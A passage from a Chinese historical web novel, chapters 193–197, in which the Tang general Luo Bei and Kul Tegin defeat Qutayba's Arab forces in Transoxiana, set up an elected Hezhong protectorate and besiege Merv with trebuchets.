毕国是屈底波的大营所在,也是神龙元年他到河中时最先征服的地区。毕国抵抗之激烈,战斗之顽强,甚至给屈底波留下了极大的阴影。为此,他在征服毕国之后大肆屠杀,将原来的大城沛肯城夷为废墟。按理说,那里的大食军队是绝无一点可能向他们投降的。 可金雕送来的情报总不会有错。第三日中午,洛北终于在大帐之中收到了张孝嵩的信件。 安国要塞被攻破之后,毕国的大食守军人心惶惶。他们以为是唐人的妖法迷惑了大食士兵的眼睛,才让大食人自相残杀。这样的精神压力之下,甫一断粮,便有大食士兵开始精神崩溃,陆续有士兵趁着夜色翻墙逃出,要渡过乌浒水回家。 张孝嵩下令,对这些零散的逃兵均不追究,任由他们去逃。 白日是抛石机与角车的狂轰乱炸,晚上是不断逃兵的心理压力,又听闻屈底波不仅把安国要塞中的幸存者钉死在木桩上,还抛弃一半的士兵从铁门关逃走,戍守毕国的大食将军瓦基·塔敏米终于崩溃,派人出城与唐军谈判。 他愿意放弃要塞和一切辎重,唯一的要求,就是把自己的军队带出河中,回到呼罗珊及其西的家中去。 张孝嵩答应了他的请求,甚至让大唐士兵替他们架设了一道浮桥,让他们回呼罗珊。 就这样,毕国兵不血刃地回到了大唐的手中。 “我现在知道为什么阙特勤没有按时到达了。”洛北读完信件,站在地图前长长地一叹。 第194章 “点兵,我们去救阙特勤!” “我本想以铁门关牵制屈底波, 再以安国逼他不断分兵,以安国要塞为点,让阙特勤以大军消耗他的援军。再挑起铁门关战役让屈底波调走毕国的大军。” “可是……安国、毕国相继被我们收复, 死守河中已经没有了意义。现在屈底波可以将铁门关与安国、毕国的残军收拢起来。现在, 这两支军队便如同两只合拢的钳子。” 他伸手在阙特勤驻军的位置划了个圆圈: “阙特勤的军队就是他们的猎物。” 莫贺达干若有所思:“怪不得一直没有接到他们的消息,恐怕此刻屈底波已将阙特勤的军队团团围困。” “若是满打满算,屈底波手中还有五万军队可用。”苏禄在洛北身后盯着地图,“阙特勤只带了两万人来,恐怕扛不住他们的攻势……不过, 这对我们来说也未尝不是一件好事。” 洛北转过头来,一双金色的眼眸锐利如鹰隼:“你说什么?” “请特勤恕罪。但……阙特勤毕竟是东突厥汗国的大将,素有突厥第一勇士之名。若能让他与屈底波两相残杀, 正好能够消耗掉突厥汗国的兵力。” 苏禄见他目光如冰,心中已经暗叫不好,但话已经出口, 不能更改, 他只得硬着头皮往下说: “我想,这也是特勤征召阙特勤前来的初衷吧?” 洛北轻轻叹了口气,一时并未开口。尴尬的沉默就那样在大帐之中蔓延开来,直到金雕扑翅而入, 回到了自己睡觉的架子上。 “阿拔思!”洛北提高声音喊他的亲兵将军,“点兵, 我们去救阙特勤!” 河中到了九月,天气已经很冷,有些地方已经飘起了细碎的小雪。粟特人遗留的要塞之中, 阙特勤接过步利递过来的半袋美酒,一口气灌进了肚子里:“好酒, 好酒,还有么?” “这是最后的半袋。伯克。”步利脸上已是忧心忡忡。 阙特勤“哦”了一声,英武的脸上神色平静:“派去乌特那里求援的使者,还是没能闯出去吗?” “没有,伯克。”步利见他神色平静,心中更是绝望。他知道,这是自己自小跟随的这位伯克起了死战的决心。 他们正处于史国西北不远的那色波城中。这里有独莫水流淌而过,世代以来,便是粟特人居住的家园。然而近些年兵戈不断,此城便已荒废,好在城墙尚未完全坍塌,还可以给他们提供庇护。 数日之前,阙特勤的部队被大食人夹击了个猝不及防,他聚拢军队,想要向前突破,已是不可能了,只得撤入这座那色波城之中。好在此地城大,足以容纳他麾下的数万将士。 洛北拨给他的军队之中有善于工事的唐人工匠,阙特勤一边命令修缮工事建筑,一边派兵向洛北求援。可每每派出去的使节都没能闯出大食人的重重包围。 “或许我会埋骨在此。”阙特勤盯着要塞外阴沉的天空,心中已经有了决断,“不过,即使是死,我也要死在战场上,死在与敌人战斗的道路上,死得像个英雄。我绝不要像个老鼠一样死在这土砌的城中。” “可是伯克……”步利喊了他一声,“我们真的没有办法了吗?算无遗策的乌特特勤不会出兵来帮助我们吗?我家里还有新婚的妻子……” 若是默啜在此,定要指着步利的鼻子骂他软弱。但阙特勤不是这样的主帅,他拍了拍步利的肩膀:“死战,或许还有一线生机,困守,就是死路一条。” 他直起身,口中嘟囔:“阿史那乌特又不是神,如今我连个使节都派不出去,还能指望他派援军来?” 他这番自言自语的嘟囔还未结束,门外闯进来一个传令兵,他语无伦次,一边拿手指着外面,一边对阙特勤道:“伯克……伯克。军队,军队!” “军队也值得你大惊小怪么?”阙特勤皱起眉,数日以来,屈底波似乎把自己在河中和吐火罗能调动的所有军队都集结到了这里,满打满算,有五万多人。 面对这双倍于己的敌人,阙特勤麾下的将士们已经是人人惊惧,怎么又有军队前来?难道屈底波为了吞掉自己这股军队,竟又从呼罗珊征兵了?可即使在呼罗珊,屈底波的可用兵力不会超过十万,这样征兵,恐怕是要征到老人和孩子。 我竟如此招他怨恨么? 阙特勤苦中作乐地想。可转念一想,正是自己全力阻击,才让屈底波同取铁门关和河中的野望变成纯粹的白日梦,屈底波怨恨他,也是理所当然。 在这思绪如野马般奔腾之时,阙特勤登上高高的城楼,向下眺望。不远处金戈铁马响成一片,似乎是两军已经开始厮杀。 “这是怎么回事?”阙特勤瞪大双眼。“大食人内讧了不成?” “好像不是,伯克,伯克,你看,黑旗飞鹰,这是乌特特勤的旗帜!”步利欢呼雀跃:“乌特特勤来救我们了!” “乌特?”阙特勤恨不得跳下城头望个清楚。但身前的土墙拦住了他。他只得紧紧地抓着城墙的土砖,想在一片烟尘和厮杀之中看出洛北的兵力。 以一位大军主将应有的观察力,阙特勤能估测出洛北带领的兵马不超过五千人,他们投入大食人数万人的军队之中,便如同用水滴去熄灭烈火。 但他的内心又实在不敢相信这是真的。五千大概是洛北能调动的精兵和他自己的亲兵加在一起的数量,这样战斗力强、装备好的嫡系部队,正是洛北号令大军的底牌。洛北是疯了吗?怎么会把这张牌打出来赌? 一声尖锐的鸣镝声破空而起,划破了天际。 这正是号令草原的乌特特勤所使用的信号。鸣镝之后,骑兵如潮水般涌出,他们身穿黑甲,手持长槊,如同一道黑色的闪电,直冲大食人的侧翼。 阙特勤在城楼上看得真切,这些骑兵的冲锋方式与草原上的突厥骑兵截然不同,他们排列成紧密的队形,如同一堵移动的铁墙,势不可挡。 “果然是他的亲军……”阙特勤不再迟疑,转头对一众守在城头的将领们吼道:“都站在这里看什么?擂鼓!出兵!我们出城去接应乌特特勤的军队!” 城门轰然打开,阙特勤亲自率领着骑兵冲出城外,他们的加入如同烈火烹油,使得战局更加激烈。 阙特勤与洛北一样,都是深谙战争之道的军将。他几乎一入大食战阵,便找出了其防守的薄弱所在,于是亲自带队猛冲过去,生生把大食军阵切出一道口子。 屈底波见此情景,即令机动部队向内增援,很快将他好不容易切出的口子填补上。 “伯克,敌人的包围合围了,我们怎么办?!”伯克奋力挥刀削下一片敌人的皮肉,问阙特勤道。 “还有什么怎么办!”阙特勤回身一槊,把身后的敌人挑下马去:“杀出去!打崩他们军阵为止!” 洛北看到阙特勤也出城增援,心知此战已不可能轻易收场。他试图带队冲阵,想要与阙特勤会师在战阵之中,彻底切割开大食人的军团,逼他们崩溃。 可屈底波到底是屈底波,见敌方主帅亲自上阵,也传命军队,加强防守。他甚至派出卫队在后方督战,有退缩者立斩! 他制造的恐惧很快感染了大食军阵中的每一个士兵。原本摇摇欲坠的军阵又有了坚守的迹象。 “这样下去不是办法。”洛北已经能看到阙特勤的铠甲反射出的日光。他一箭射倒一个冲过来的大食将军,干脆提高嗓门对阙特勤喊话,“我们得带头冲阵!” 阙特勤勒马上扬,踢开两三个拿刀要砍他马腿的大食士兵:“你说怎么冲!” “卷起旌旗,向大食军阵后冲!走!”洛北话音犹在空中,自己已经一夹马腹,向阵后猛冲而去。 阿拔思等一批他的亲兵将领紧随其后,他们将旗帜卷起,将旗杆握在手中,一路砍杀,闯出了大食军阵。 阙特勤也有样学样,带着自己的亲兵卫队向南闯去。 待来到大食阵后,洛北身上已经满是血迹。他摸了一把脸,擦去眼睫上凝结的血珠,才把那旗杆高高举起,将那面象征乌特特勤的旗帜向空中一抛! “大食人!恐惧吧!唐军的援军来了!” “援军来了!” “援军来了!” 一众亲兵与将领们高声呼喊,就连阙特勤也加入了呼喊之中。 眼见唐军与乌特特勤的旗帜在阵后升起,苦战之中的大食人再也扛不住了。军阵开始四散崩溃,洛北见状,立刻抓住机会,带领骑兵再度冲入阵中。 他如同一位威风凛凛的战争之神,所到之处,敌人无不丢盔卸甲,落荒而逃。 “投降不杀!”他高声以大食语喊,“投降不杀!” 被恐惧驱使着的大食士兵听到这句话如蒙大赦,纷纷回头看向这句话发出的方向: 说话之人一身明光铠甲,身形修长,容貌俊美,琥珀色的眼眸正在日光下熠熠闪烁——正如太阳一样耀眼。 正是唐军主帅洛北,大名鼎鼎的乌特特勤。 “求您……”离他最近的大食士兵没能扛住这样的压力,滚身下马,扑通一声,跪倒在地,“宽恕我……” 这一下如同丢进平静湖面的大石,彻底改变了战场的局势。那色波城外的荒原战场上,以洛北为中心扩散出一圈圈投降的涟漪,许多大食士兵还未明白过来,便已经随着周围人丢盔卸甲。 这一战,自屈底波的弟弟萨利赫起,大食各级的将领、士兵死伤过半。 唐军又俘虏了其中四千余人。屈底波好不容易组织起来的大食军队再度被洛北打崩——他再也不能随意组织远征军到河中和吐火罗来耀武扬威了。 “可惜了走了屈底波。”阙特勤左臂中了箭,军医正忙着给他裹伤。但见到走进来看望他的洛北时,阙特勤还是忍不住抱怨:“若能抓到他,这一仗就算功德圆满,嘶……轻点。” “好啦,好啦。”洛北见他呲牙咧嘴,不由得轻轻一笑,“莫要责怪自己了,我就带了五千人来,咱们的兵力加在一起,也不过人家的半数。如今打成这个结果,你还有什么不满意的。” “能打成这个结果,还要靠你乌特特勤用兵如神。”阙特勤由衷地夸赞道,“不过我有一事不明,我连一个使节都没能派出去,你怎么知道我被屈底波困住了?” 第195章 一次并不成功的伏击与愤怒的张御史 洛北笑了, 他望着天际洒下的风雪,没有回答自己的挚友。 数日之后的一个深夜,屈底波带着自己的卫队, 与一路追随自己的残兵败将们来到了乌浒水畔。 乌浒水正在结冰, 月余之后,它将彻底断流,变为可供人马通行的坦途。 但现在,河水上只结了一片薄冰,行人踏上, 便会立刻崩塌。屈底波审慎地打量着那座孤零零的浮桥:“这莫不是又是唐人的诡计?” 他命令手下士兵用弓箭射击桥下的薄冰,冰面四散,河水再度流动起来。他在那里静静地望了一会儿, 确认桥下没有伏兵,河岸也没有马匹的痕迹,才下令渡河。 比起他手下那些又伤又疲的士兵, 屈底波的心中除了悲伤, 还有一点不甘。 屈底波抽调大军,将阙特勤的军队围困得好像一个铁桶,就是为了不让他有机会求援。可援军不但来了,还是洛北这位大唐主帅亲自带兵来的。 就算有援军, 区区五千人,也不该改变战场的局势, 但洛北亲自上阵,身先士卒,生生把他的战阵冲崩了。 在逃亡路上, 屈底波曾经无数次地回想这几场战役,若说铁门关外的决战是他棋差一招, 安国和毕国的沦陷是大食人倒行逆施多年的结果。那色波城一战,他每一步都算到了,还是没能赢过洛北。 “伟大的天神啊。”屈底波在心中向他的主神祈祷,“难道你不再保佑我了吗?难道大食人对你的供奉与崇拜,竟不足以让你帮助我们赢得这场战争吗?” 几乎在为他的祷告注脚,自河岸边的一片衰败的芦苇丛里射出上百枚羽箭,直直地射向浮桥之上。 正在过桥的大食军队毫无防备,这羽箭的力道比一般弓箭要大得多,刹那间就有数十人的铠甲被箭洞穿,摔倒在乌浒水中。片刻之间,乌浒水就被染成了一片血水。 屈底波连同他麾下的将士们七手八脚地阻挡,好容易才挨过这轮箭雨。 “该死的唐人!”屈底波的右臂也中了箭,他顾不上包扎,直接把箭杆折断,便指挥起反击来:“他们需要重新拉弓了,骑兵!过去看看!” 这是个看起来很正确的决策,无论唐军埋伏在芦苇丛中的有多少人,这些没有马具的步兵都很难抵挡骑兵的冲击。 他的卫队长带头领命,领一队骑兵前去冲阵,但军队尚未调动,又一轮箭雨接踵而至,这些骑兵的铠甲在这样的羽箭面前毫无抵抗之力,又有数十人被射下了马。 “不对劲,”屈底波敏锐地察觉到一丝不对,命令部队弃马伏地,心中暗忖:“要发这样的大箭,非得用大弓不可。唐人军中哪里来的这么多厉害的弓箭手?难道是洛北已经带着他的亲军攻上来了?” 洛北当然没有带着他的亲军来到乌浒水旁,射出这样的羽箭的,也并不是力拔山河的唐军弓箭好手。 在这初冬寒夜里,埋伏在芦苇丛数个时辰不动的是一群粟特人。这群粟特人多是毕国居民,早被屈底波害得家破人亡,不得不背井离乡,因此与大食人打起仗来,格外悍不畏死。 他们手中拿的也不是硬弓,而是安西唐军步兵的秘密武器——连箭弓弩。 出乎屈底波意料的是,洛北确实是一位骑兵作战的大师,但不代表他不会用步兵。 此次出征河中和吐火罗之前,洛北便对张孝嵩说:“尤其在河中、吐火罗这样的地方,骑兵野战的机会肯定没有攻城拔寨多。所以我们的步兵不仅要带攻城器械,还要带兵器,能够克敌制胜的兵器。” “说得容易。”张孝嵩见他意得志满,和他开玩笑道:“除非着重甲,否则用步兵是很难打得赢骑兵的。虽说你大治安西颇有成就,但也不至于富庶到给士兵们都配上重甲的地步。” “我要是能有这样的成就,长安城的陛下还能睡得着觉吗?”洛北笑道。他打了个手势,把张孝嵩带到了碎叶文馆中的兵器监。 西到拂林,东到大海的能工巧匠们正汇集于此,为这位年轻的将军制造各种武器。张孝嵩一眼便看中了这可以两人操作的连弩:“若有此物,则步兵就有了迎面与骑兵对战的勇气了。” 如今这样的一幕正在乌浒水中上演着,屈底波命众军寻找庇护,躲过了一轮又一轮箭雨。直到粟特人携带的羽箭用尽,才命令部队与他们作战。 失去了武器的庇护,这些粟特人便不是大□□兵的对手,但刻骨的仇恨已经冲昏了他们的头脑,他们违背了张孝嵩“箭用尽,即后撤”的命令,一个个拔剑与大食人战作一团。 这场战斗直到天色微明才宣告结束,前来设伏的三百名粟特人全部战死,他们几乎人人以一当十,但还是扛不住大食人一波接一波的攻击。天光照亮了大地时,乌浒水边横七竖八地躺满了大食人与粟特人的尸首。 消息传到毕国的唐军大帐中,一贯沉静的张孝嵩发了大脾气,他拍着桌子对粟特人的将军们大吼: “他们在抗命!他们想要复仇,我可以理解,但这不能成为他们抗命的理由!按照洛将军的规划,我们是要在他们后撤之后发兵追击屈底波的!” “因为他们的英勇,我们的战略化为了泡影!我们又把屈底波放回了他的老家呼罗珊。这是你们的责任!他们的责任!等到洛将军率军与我们会师,你们打算怎么和他交代?” 在场的粟特众将人人被他骂得抬不起头来。毕国的两名将军眼角泛红,已是强忍着泪水。 正在这时,阙特勤掀开帐篷走了进来。洛北紧随其后,两人脸上都是风尘仆仆,一副疲惫的旅人模样,显然已经在河中的荒野上打马走了很久。 他们一路星夜兼程,本想在屈底波渡河之前把他拦住,让他彻底留在河中的土地上。 屈底波是大食帝国的呼罗珊总督,权势极大,地位重要。他一死,大食帝国的哈里发也未必能很快派一位合适的来,呼罗珊无主,正是他们收复波斯故地的大好机会。现在,这样的战略已经成为了泡影。 见到这两位走进大帐,原本就沉闷的气氛刹那间如同死寂。洛北的威势自不必说,阙特勤石国一战的名声也刻在了这些粟特将军的脑海中——谁知道计划被破坏之后,这两位将军会不会拿粟特人撒气。 洛北已从吴钩那里将经过听了个七七八八,用那双金色的眼眸向帐中一扫,只见一众粟特将领人人低头,连和他对视的勇气都没有了,心下已经了然: “好了,你们都出去吧。” “可是将军……”康王乌勒伽抬起头来,不可置信地望着他。 洛北一贯平静的脸上没有任何神态的变化:“乌勒伽,你是河中各国中兵将最多者,劳动你的士兵前去收拾战场,安葬死者。这些粟特人的尸首要予以安葬,大唐的弩箭若还在,便拉回来。若已被大食人抢走,便向我报告一声。” 乌勒伽心神稍定:“是,将军。” “下葬的礼节要讲究一些。”洛北顿了顿,又道,“费用从我的私库里出,若他们的家人还在,也要予以抚恤。” “特勤……”那两个毕国将军终于忍不住跪倒在地,大哭起来,“我们破坏了您的计划,我们罪该万死。” “现在说这些已经没有意义了。”洛北把他们拉了起来,“你们的士兵是英勇作战的英雄,我们不能让他们和他们的家人寒心。” 阙特勤自告奋勇,主动把这些粟特将军们都送出了大帐之外,见张孝嵩还站在那里,一脸严正,面色铁青,知道是洛北此举下了他的面子——张孝嵩不仅是河中方面的唐军主帅,也是此次出征的监军御史。他若和洛北起了嫌隙,只怕大军的前途不妙。 阙特勤给洛北打了个手势,劝他好自为之。 洛北摆了摆手,示意他不必在意。阙特勤才退了出去。 唐军的中军大帐中又只剩下主帅与监军两个人。洛北见张孝嵩还站在那里,只得按着他的肩,把他按到了椅子上。 “孝嵩。”洛北揉了揉眉心,“这不是你的错误。” “不是我的……错误?”张孝嵩抬起头望着他,双目通红,满脸都是疲惫和遮掩不了的悲伤情绪,“三百人全军覆没,放跑了屈底波,还让我们的武器落入大食人之手。洛北,这不是我的错误,还能是谁的错误?” 张孝嵩深深地叹了口气,眼泪已经不争气地掉了下来。他再也无法强装镇定,声音里也带上了浓重的哭腔: “我早该知道的,我早该知道这些人主动请缨就是报了不回来的打算。我早该派出骑兵在远处监视。我甚至应该亲临现场……可我什么都没有做,我就在这里等待消息!洛北,这难道不是我的错误吗?” 洛北知他心中有情绪,一时没有开腔搭话,他在大帐中翻了翻,在木桌的抽屉里拿出一方面巾,递到张孝嵩手上。 张孝嵩沉默地接过那张面巾,擦了擦脸上的泪水。半晌之后,才长叹一声道:“洛北,接下来,怎么办?” 第196章 河中都护府 在屈底波狼狈地逃回木鹿城的数日之后, 屈底波的恩主与顶头上司,大食帝国的宰相兼东方总督哈贾吉收到了瓦基·塔敏米写来的河中战报。 哈贾吉那时正在自己修建的宏伟绿宫之中享受冬日。这座宫殿以巨大的穹顶著称于世,他们是由波斯及伊拉克的能工巧匠一同建造的。 无数学者和诗人来到这穹顶之下, 接受哈贾吉的庇护, 为他撰写诗歌,并把从已征服的土地上收集来的诸多经典翻译成大食文字。 “像您这样的将领并不多见。”学者和文人们赞扬他的功绩:“您有广阔的胸怀能接纳这些异族的学说。” “那是因为我在翻译大食的经典上更用心。”哈贾吉意得志满地道,“哈里发没有什么可以指摘我的。” 哈贾吉本是一个老师,后来投笔从戎。在他从军的三十余年间,他曾经率领大军攻占圣城麦加, 杀死僭称哈里发九年之久的阿卜杜拉·伊本·祖拜尔及其家眷,也曾率军东征西讨,完成统一半岛的伟大功绩。 他为自己赢得了伊拉克兼东方总督的桂冠, 并在到任之初,就挑起了与库法人的战争。此战之后,失败的伊拉克人不得不向大马士革的哈里发奉上自己的贡税。他甚至在哈里发麦利克去世之后, 拥护他的儿子瓦利德登上哈里发之位——自那之后, 他一手摄取了大半个大食帝国的权力。 到了唐历的景龙六年,哈贾吉已经五十一岁。年过半百的他已经不再像往年那样醉心于东征西讨,更多的时候,他往来在伊拉克的那些自己下命修建的宫殿和寺庙之间, 视察那里百姓的情况。 “屈底波怎么回事?”哈贾吉放下战报,与跟随在他身边的那群学者们说说笑笑:“他曾经向我保证过, 以坚决的手段对待敌人,再也不会让毕国那样的事情发生在河中。看起来,他软弱的老毛病又犯了, 需要我从伊拉克调集军队去帮助他。” “除了多年前迁居呼罗珊的大食部族子弟之外,屈底波是无法从波斯故土征召更多军队的。如果他打定主意要和我们对抗到底, 就得写信向他的老上级,大食国相哈贾吉求援。” 几乎与此同时,洛北站在毕国的宫殿中与他的将领们商讨下一步的作战计划。 那座华美的宫殿已经被战火荼毒,只留下空荡荡的四壁和搬不走的喷泉与雕像。四周墙壁上本有精美的彩绘,绘着粟特人信仰的娜娜女神,但女神的面容早被大食人磨去,只留下斑驳的墙壁。 “就算哈贾吉愿意发兵,从伊拉克到木鹿城依旧有数月路程。他的远征军必须越过高山与沙漠,才能来到这里与我们作战。”洛北道:“所以,我们要在他们到来之前攻下木鹿城。随后,我们会以逸待劳,在木鹿城等待他们。” 河中各地的粟特王公们几乎为他平静的话语感到激动,在被大食连续侵略了近百年之后,第一次,粟特人能踏上大食人的领土——攻守易势了。自此之后,不再是粟特人的王公向大食人卑躬屈膝。 “在河水结冰之前,大军可以休整。”洛北打了个手势示意人们坐下来,“但对于我与诸位来说,我们有另外一件事情要做。” 粟特王公们面面相觑,不敢向这位功勋卓著的大唐将军提出一点意见。最后还是康王乌勒伽率先开口询问: “请问,将军需要我们做什么?” 洛北道:“我要在河中与诸位会盟。把松散的昭武九姓合并在大唐的旗帜之下,让原本分散的各国结为一个联盟。” “这”史国国君阿忽必多延屯率先提出异议,“将军的想法,我们也想过。我们河中各国皆以城邦居住,往来频繁,并无战事,似乎不需要一个联盟把我们绑在一起。” 阙特勤冷笑一声:“不需要?如果这次不是我们按着你们头来统筹河中兵力,你们会让自己的军队帮助别的国家抗击大食人吗?你们会像多年之前那样,坐视河中诸国一步步地被大食人蚕食掉!” 在场的粟特王公的脸都白了。他们都听说过阙特勤在石国的作为,不想自己的家族成为阙特勤的下一个立威对象。 洛北给了阙特勤一个赞许的眼神,他深知,石国的那对父子,不过是这群粟特王公中最愚蠢、最迫不及待的范例。这些商业出身的王公们习惯了松散的各自为政,并不想为了别人的利益打仗,除非有更强大的外力迫使他们这样做。 粟特王公们面面相觑,谁也没有敢说话。半晌还是康王乌勒伽开了口:“那按照将军的意思,这个军事同盟,要如何运作呢?” “我会奏请大唐,在昭武九姓之地设河中都护府,由安西大都护府统辖。河中都护由参与会盟的各国国君投票选出,五年一轮换。都护府之下,各国均可有自己的军队,我会照样册封各位国君为大唐都督。但大食人一旦来犯,各国便要履行职责,在河中都护的指挥下自卫。” 米国、何国等小国国王神情一动,他们都以为洛北要在河中建立类似中原那样的王国组织,把这些小国都并到康王乌勒伽麾下。因为大唐看重康国,这些小国也几乎成了康国的附庸,如今有大唐做主,他们也能在河中都护府里说上话了。 洛北见他们神情变化,知道这些小国国王已经动了心: “与各国国王轮换类似,每任河中都护轮换之际,需要奏请大唐册封。安西都护府也会派出官员,担任河中都护府的副都护,协助河中都护府统治河中。另外,河中都护需要每三年前往安西都护府的治所面呈自己的治理情况。” 乌勒伽终于咂摸出一点意味深长来:“那请问将军,河中都护可以连任否?” “最长三届,也就是十五年。”洛北直视着他的眼睛:“但不可世袭,若现任河中都护在任上去世,则各国需要选出下一任都护。” “明白了。”乌勒伽笑了,他知道这是洛北为他开出来的口子——十五年的功夫,足够一个人把自己的青春精力耗尽在这个职位上。他也不相信自己的子孙后代能长期盘踞在这个位置上:“我并无异议。” “史国国王呢?”洛北看向一边的阿忽必多延屯:“你有异议否?” 阿忽必多延屯见众人都望着他,只得偃旗息鼓,犹犹豫豫地点了头。 这是在碎叶城的时候,洛北就同张孝嵩、裴伷先、褚沅、吴钩等人定下的计划。但真的落到纸面上时,又是一番来来回回,拉拉扯扯的筹备工作。 在这暗不见天日的文山会海之间,阙特勤第一个放弃参与。他借口手臂有伤,到城中去享受休整的闲暇时间了。 聊完军事之后,河中都护府下的各处关税、水利、道路都要提上日程。这下连张孝嵩都觉得头昏眼花了,只有吴钩同洛北还在和这些粟特的王公们谈判。 为了显示自己的支持,洛北想代表安西都护府慷慨地拨出银钱给他们战后重建,却被乌勒伽断然拒绝。 “虽然我们之后都会是将军的下属,但也不能事事都仰仗将军到如此地步。”乌勒伽道:“我们粟特人是商业的民族,我会派人去我六州胡的族人那里寻求帮助的。” 洛北望着这位小国国君的双眼,知道他是在极力为自己和粟特人保留最后的一点话语权:“好吧,我同意。” 进入十一月的第一日,被征召到此的粟特王公们进行了最后一件,他们汇集在那副挂着地图的厅堂下,在金瓶之中投票选出了第一任河中都护——毫无意外的,他们选出了乌勒伽。 乌勒伽从洛北手中接过那封有如千钧之重的任命书: “我向伟大的大唐将军,向在场的诸国王公起誓,我将在此职位上奉献自己的一切。” 景龙六年的十一月初八,洛北自命为先锋,率军向木鹿进发,并命朱邪烈自北、阙特勤自南,率军扫荡各地的大食人势力,把他们赶到木鹿城中去,并命乌勒伽率领粟特军队为前探查,张孝嵩督军在后。 冬日的雪原之上一片荒芜,洛北的军队几乎没有遇到什么抵抗就来到了木鹿城下。在波斯时代,这是波斯帝国的东部前哨,波斯人用它来抵御草原民族的入侵。 所以,这座城市是围绕着城市中心那座巨大的泥砖堡垒修建起来的。堡垒之外,是迷宫般的小道和复杂的民居,民居之外便是与河中类似的倾斜模样的城墙。 屈底波已经下达了坚壁清野,固守待援的命令。因此在城外一片光秃秃的绿洲上,洛北和他的军队只发现了十来个钉死“叛徒”的木桩。 “我们得想个办法。”唐军在城外十五里的河流上游扎营,按照惯例,洛北依旧是在亲自巡查过敌军阵地后再召开的议事会:“否则以屈底波的疯狂,他必然会驱动城中的士兵和我们一条街巷、一条街巷地争夺。” 张孝嵩抱着手臂站在最后:“我还以为这是个不需要争论的问题。” 众人回头,望向这位大唐的监军御史。 “孝嵩的意见是?”洛北笑道。 张孝嵩站到众人之前,一挥手臂:“是时候也让屈底波见见我们的抛石机了。” 第197章 “传言说,说那位年轻的唐军主帅身上有着神明的赐福,永远不会失败。今天晚上,我就要他折戟在木鹿城下!” 木鹿城的早晨是被巨石砸下的重响唤醒的。 数十只巨大的黑影在一片雪青色的晨雾中划过天际, 巨大的呼啸声几乎盖过了木鹿城中迎战的号角。连续不断的巨响之下,城头上尘土飞扬、烟雾扑面。 屈底波在他漏了一半顶的堡垒之中召开他的军事会议,冬日的雪花和尘土源源不断地掉落下来, 飘在意志消沉的众多大食将领身上。 虽然屈底波远在伊拉克的上级哈贾吉已经下令增兵呼罗珊, 但远水救不了近渴。昨日已经有两座城墙顶不住巨石,轰然倒塌,在城墙上戍守的十来名士兵都被埋葬在了坍塌的砾石堆中。 “再这样被他们轰炸下去。”暴脾气的瓦基·塔敏米已经受够了被唐人的抛石机恫吓的生活:“我们的军队还没动作,就被埋葬在砂砾之下了。” 屈底波没有立刻理会瓦基·塔敏米,他转头看向另外一边的将领哈杨·本·纳巴蒂, 他是来自库法的士兵们的统帅,也是屈底波的铁杆支持者: “我们东边的突厥盟友怎么说,他们肯出兵来帮助我们吗?” 在西海及雷翥海四周居住着无数地方部族, 其中有一部分是昔年波斯帝国征召去戍守边境的突厥人。 大食进入波斯故地之时,不愿在山谷荒野之间和这些人打仗。因而与他们签订和约,让他们继续按照原有的习惯生活。这些族首领因此享有比在波斯治下更自由的权力——他们所交的赋税甚至比在波斯治下更少。 纳巴蒂摇了摇头:“他们拒绝了我们, 甚至还宣称, 金山下的突厥牙帐是他们的故土。那里生活的人们是他们的族人,如果我们执意要和他们的族人作战,他们宁愿站在那个唐军主帅和他的突厥王子朋友一边。” “我以为唐人和突厥人是一对死敌。”屈底波愤恨地望着摆着兵偶的沙盘:“为什么我们派去阙特勤营中的使者没有回答?” 他的部下们还没来得及回答他,外面匆匆跑进来一个焦急的传令兵:“总督, 总督,快去看看吧!城门要被唐人攻破了!” 木鹿城外, 十五架巨型抛石车围绕着木鹿城排开,像一个个巨人俯瞰着这座坚固的城池。 这些巨型抛石车是由数千头骆驼带到呼罗珊来的。它们需要两百个力士同时挽发,才能发射石块。为了把它们带来呼罗珊, 洛北不惜放弃行进速度,往张孝嵩所率领的军队中塞进了数千头骆驼。 “唐人的抛石车又不是第一天使用, 有什么值得”纳巴蒂随着众人登上高处,话语在口中戛然而止。此刻被唐军挽发的并非巨石,而是而是装着草木的巨大棉布袋。 这些棉布袋上都浇满了火油,又用绳索捆扎起来,一被投出,唐军中的弓箭好手们便竞相射出火箭。这些火箭一旦落到棉布袋上,便能瞬间引发熊熊大火。 沙土和木石堆砌的城墙经不起这样的大火,木质的城门更经不起这样的大火。好在目前只有两个棉布袋落到了城墙之上,城门也未被击中。否则,城门被破,就是旦夕之间的事情了。 屈底波望着远方。唐军列阵在巨型的抛石车之后,队列整齐,似乎在等待时机。 屈底波几乎能想象那位年轻的唐军主帅此刻的模样,他一定高坐在骏马之上,金色的眼睛也望向木鹿城,神情冷漠又高傲,好像这座要塞对他来说不堪一击。 “总督。”瓦基·塔敏米试探性地问屈底波:“我们同唐军议和吧。” 他见屈底波没有说话,大着胆子继续说:“呼罗珊从来不是唐人的控制区域,他们也应当对这万里之外的荒漠和绿洲没有兴趣。他们只是响应那些粟特人的求援才到这里——我们可以与他们以乌浒水为界” “他们对呼罗珊没有兴趣?”屈底波斜着望了他一眼,打断了他的话:“你知不知道,有可靠消息说唐军主帅收留了波斯的君主后裔,一个叫波善活的孩子在军中?” 瓦基·塔敏米还是第一次听到这个消息:“您是说?” “这个孩子本来在吐火罗叶护的保护之下,现在来到了洛北的身边。”屈底波冷笑一声:“如果洛北对呼罗珊没有兴趣,他为什么要收留波斯人的王子?” “如果你要投降,可以自己出城。但我是大食的呼罗珊总督,我绝不向魔鬼投降。” 纳巴蒂和瓦基·塔敏米在他身后不着痕迹地对视了一眼。片刻之后,纳巴蒂轻声道:“如果总督决意与唐人血战,我们就应当率军出战。再让这些抛石机无休无止地轰鸣下去,我们的士气会先一步崩溃。” 屈底波陷入了久久的沉思之中: 木鹿城丢失对大食来说是不可接受的。这不仅代表屈底波自己在河中的努力化为乌有,还代表近三十年来大食对呼罗珊的经营彻底失败。 即使是他的老上级哈贾吉,也不能在这样的败仗面前保住他的脑袋。 但率军冒险去和洛北一搏?如今洛北不仅拥有数万唐军,还有他从安西各部征召来的骑兵部队,阙特勤麾下的两万突厥精兵,甚至还有河中各国的三万军队作为后勤。 而屈底波在木鹿城只有五万临时拼凑起来的兵马,其中不仅有可能会心怀不服的波斯人,还有大食人的老者和孩子。他根本不知道这一仗该如何打赢。 正在屈底波沉默与煎熬的时候,又有传令兵走进了他们所处的厅堂。他在屈底波耳侧轻轻说了几句什么,屈底波瞪大双眼:“真的?” “是的,拉赫曼将军现在就在外面,可否允许我把他请进来?” 屈底波最杰出的副手和弟弟,被唐军俘虏三个月之久的大食名将拉赫曼走了进来,他穿着唐人的粗布衣裳,反倒比三个月前更胖了一点。 